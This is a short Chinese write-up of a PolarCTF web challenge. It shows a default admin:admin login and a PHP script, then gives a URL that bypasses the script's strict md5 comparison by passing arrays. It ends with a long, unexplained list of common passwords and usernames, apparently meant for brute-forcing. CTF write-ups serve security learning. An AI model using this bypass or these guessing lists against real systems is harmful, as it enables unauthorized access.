【PolarCTF】导航栏

尝试登录

admin:admin

成功登录

点击【查看用户列表】出现下面的内容

复制代码

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('user.php');

$user1 = $_GET['user1'];
$user2 = $_GET['user2'];

if ($user1 != $user2) {
    if (md5($user1) === md5($user2)) {
        echo '用户名：' . $user;
    } else {
        echo 'MD5值校验出错啦啦啦......';
    }
} else {
    echo 'user不能相等！';
}
?>

使用数组绕过md5强等于

这里要求user1和user2不相等，且md5运行又是要相等的，故用数组绕过

复制代码

http://0fdf9664-b097-46c6-9598-2e8441046002.www.polarctf.com:8090/audit.php?user1[]=1&user2[]=2

在第一个if中user1 是数组 $'1'$ ，user2 是数组 $'2'$ ------ 不相等

在第二个if中md5(user1) = null，md5(user2) = null ------ 全等

复制代码

123456
123456789
123123
111111
anhyeuem
1234567
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123123123
987654321
11111111
qwerty
147258369
maiyeuem
123qwe
654321
iloveyou
123654
999999
qqqqqq
1111111
147258
hota407
anhtuan
222222
159753
11223344
anhnhoem
anh123
159357
qwertyuiop
asd123
987654321
emyeuanh
mmmmmm
12345
666666
anhanh
123789
phuong
111222
qweasd
hanoiyeudau
nguyen
789456
1111111111
mylove
789456123
19001560
qwe123
asdfghjkl
pppppp
anhhung
1234560
abc123
maiyeu
123456a
zzzzzz
quangninh
987654
555555
tuananh
asasas
asdfgh
zxcvbn
321321
tinhyeu
147852369
456123
matkhau
147852
12345678910
thienthan
nikel
anhyeu
111111111
toilatoi
10cham0
147258369
456456
khongbiet
789789
P0la2adm1n
a123456
333333
888888
123654789
truong
maimaiyeuem
hhhhhh
User
john
admin
alice
bob
administrator
user
wackopicko
adam
sample
123456
Password
password
12345678
qwerty
12345
letmein
1234567
football
iloveyou
admin
welcome
monkey
login
abc123
starwars
dragon
passw0rd
p@ssword
p@ssw0rd
master
hello
freedom
whatever
qazwsx
trustno1